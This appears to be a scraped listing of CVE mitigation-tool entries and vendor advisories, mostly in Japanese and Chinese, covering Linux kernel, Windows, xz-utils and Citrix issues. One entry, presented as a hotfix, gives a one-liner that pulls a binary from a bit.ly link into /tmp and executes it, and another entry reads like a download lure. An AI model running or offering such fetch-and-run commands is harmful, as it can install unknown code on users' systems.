chackd

chackd chackdは、毎秒カーネルパラメータtcpchallengeacklimitをランダム化してサイドチャネル攻撃を防ぐデーモンです。 はじめに 最近発表されたサイドチャネル攻撃はコミュニティの強い注目を集めています1。多くのサーバーやスマートフォンデバイスにとって、この攻撃はIPv4接続に対して危険であると考えられています。カーネルは次のバージョンでこの問題を修正することは間違いありません。しかし、特定の理由や単なる怠惰からカーネルを更新しない管理者もいるかもしれません。...

CVE-2024-3094

xz-utils 脆弱性チェックおよび更新ユーティリティ このスクリプトは、システムにインストールされている xz-utils のバージョンの脆弱性をチェックするために設計されています。脆弱性のあるバージョンが検出された場合、スクリプトは潜在的なセキュリティリスクを軽減するために、安定版を自動的にダウンロードしてインストールすることを提案します。 要件 スクリプトを実行するには、以下のコンポーネントが必要です： Python 3 requests ライブラリ（pip install requests でインストール可能） tarfile ライブラリ（Python 3 に同梱）...

CVE-2022-30190-NSIS

MSDT Patcher（別名 CVE-2022-30190-NSIS） これは、Microsoft が推奨する CVE-2022-30190 向け軽減策レジストリパッチを展開およびロールバックするための NSIS スクリプトです。 実行可能ファイルはこちらからダウンロード。 仕組み 実行すると、HKCR\ms-msdt キーの存在を確認します。キーが存在する場合、そのマシンは脆弱であると見なされ、軽減策パッチを適用するよう求められます。ユーザーが確認すると、HKCR\ms-msdt キー階層全体が削除されます。つまり、次のレジストリパッチと同等の処理が実行されます: Windows...

yc-mk8s-sctphantom-mitigation

针对 Yandex Managed Kubernetes 的 SCTPhantom 缓解方案 自动为 Yandex Managed Kubernetes 集群的所有 worker 节点应用针对 Linux 内核中 CVE-2026-64564（SCTPhantom）漏洞的缓解措施。 漏洞描述 CVE 标识符（CVE ID）： CVE-2026-64564 CVE 链接： https://nvd.nist.gov/vuln/detail/CVE-2026-64564 原始报告： 技术分析文章（Tencent Zhuque Lab / Corvus...

cve_2026_frag_family_fix

frag family 漏洞缓解工具 Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 在任何 Linux 上运行热修复 b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -d '"' -f 4 && chmod +x $b && $b 或...

Printnightmare

Printnightmare PrintNightmare CVE-2021-34527 の修正 スプーラーを無効にするには、disable-spooler.ps1 ファイルを管理者として実行してください powershell.exe -executionpolicy bypass -file .\disable-spooler.ps1 一括で無効にするには、すべてのサーバーの名前を記載したサーバーリスト（例: serverlist.txt）を作成し、disable-spooler.cmd ファイルを管理者として実行して、すべてのサーバーのスプーラーを無効にしてください...

OVSwrap-CVE-2026-64531-Mitigation-Tool

OVSwrap CVE-2026-64531 缓解工具 一个简单的脚本，用于检测并缓解影响 Open vSwitch 内核模块的 OVSwrap 漏洞。 功能特性 检测易受攻击的 Open vSwitch 模块 确定模块是否已加载 阻止自动加载 安全移除模块 验证缓解状态 显示 KernelCare 信息 安装 git clone https://github.com/mahfuzreham/OVSwrap-CVE-2026-64531-Mitigation-Tool.git cd OVSwrap-CVE-2026-64531-Mitigation-Tool chmod +x...

CVE-2017-11882-Blocker

CVE-2017-11882-Blocker 一个可以消除 CVE-2017-11882 的 Windows 驱动程序 : 工作原理 该项目分为一个内核驱动程序和一个用户态通知组件，它们通过使用反转调用模型 的自定义设备进行通信。 内核驱动程序 1. 进程回调 - DriverEntry 注册一个 PsSetCreateProcessNotifyRoutineEx 回调，使得驱动程序在每次系统范围内创建进程时、在进程开始执行之前被同步调用。 2. 父进程检查 - 在回调内部，驱动程序通过 ZwOpenProcess 打开父进程并查询 ProcessImageFileName 以获取完整的...

Yellowkey-mitigation

Yellowkey-mitigation.ps1 是一个 PowerShell 脚本，它自动化了 CVE-2026-45585 中描述的 WinRE 缓解工作流程，在每一步之后添加验证，并且如果任何早期步骤失败，则不执行第 6 步（reagentc /disable + reagentc /enable）。 它还会检查所需的注册表更改是否实际需要并已应用。 该脚本仅在实际删除了 'autofstx.exe' 值时才会提交 WinRE 映像。 如果不需要更改，则使用 /discard 而不是 /commit，以避免不必要地修改 WinRE。 第 6 步（重新建立 BitLocker...

cve-2026-31431-mitigation

CVE-2026-31431 Copy Fail – 技術的緩和ツール 1. 概要 このパッケージは、影響を受けるカーネル（バージョン 4.14 から 6.12.84、6.13 から 6.18.21 など）を実行している Linux システム上で、CVE-2026-31431 脆弱性（別名 Copy Fail ）を検出し、緩和する ための自動ソリューションを提供します。 ツールは以下で構成されています： 統合 Bash スクリプト mitigatecopyfail.sh： Phalanx-CCS （アクティブな攻撃面チェック）と Silent4Labs （リスク評価）を実行します。...

Orchestrated-Powershell-for-CVE-2023-24932

Secure Boot オーケストレーター CVE-2023-24932 CVE-2023-24932 BlackLotus に対する Secure Boot の緩和策全体を自動化します。すべてのレジストリ変更、再起動、検証を自動的に処理します。 必要条件 Windows 10/11 または Server 2016+ 管理者権限 Secure Boot が有効であること 2024年7月以降の累積更新プログラムがインストールされていること BitLocker 回復キーのバックアップ（BitLocker が有効な場合） クイックスタート（単一サーバー） 1. Download & Insta...

Zapscape — Updated!

⚡ Zapscape - Your Computer's Safety Net, Simplified ⬇️ DOWNLOAD ZAPSCAPE NOW 🛡️ What Is Zapscape? Zapscape is a friendly tool that helps protect your computer from a hidden threat called a "KVM escape." Think of it as a digital shield that keeps your personal files, photos, and information safe...

Exploit for CVE-2026-64531

OVSwrap CVE-2026-64531 Mitigation Tool A simple script that...

Exploit for Incorrect Resource Transfer Between Spheres in Linux Linux_Kernel

CVE-2026-31431 Checker & Mitigator A simple, safe vulnerabili...

EUVD-2021-10061

Malware in sbrugna...

Vulnerabilities fixed in Trend Micro Apex One

Trend Micro has fixed vulnerabilities in the Apex One management console. The vulnerability in the management console allows a remote attacker without authentication to arbitrarily upload code and execute commands on affected installations. Both CVEs are similar, it just affects different CPU...

Design/Logic Flaw

An issue has been identified in the CTX269106 mitigation tool for Citrix ShareFile storage zones controller which causes the ShareFile file encryption option to become disabled if it had previously been enabled. Customers are only affected by this issue if they previously selected “Enable...

CVE-2021-22932

An issue has been identified in the CTX269106 mitigation tool for Citrix ShareFile storage zones controller which causes the ShareFile file encryption option to become disabled if it had previously been enabled. Customers are only affected by this issue if they previously selected “Enable...

CVE-2021-22932: Missing Encryption of Sensitive Data

An issue has been identified in the CTX269106 mitigation tool for Citrix ShareFile storage zones controller which causes the ShareFile file encryption option to become disabled if it had previously been enabled. Customers are only affected by this issue if they previously selected “Enable...

Vulnerability fixed in Citrix ShareFile

Citrix has fixed a vulnerability caused by the CTX269106 mitigation tool for Citrix ShareFile storage zones controller. The tool disabled encryption when it was enabled. This would have allowed data to be stored and transmitted. Citrix has released updates to fix the vulnerability. More informati...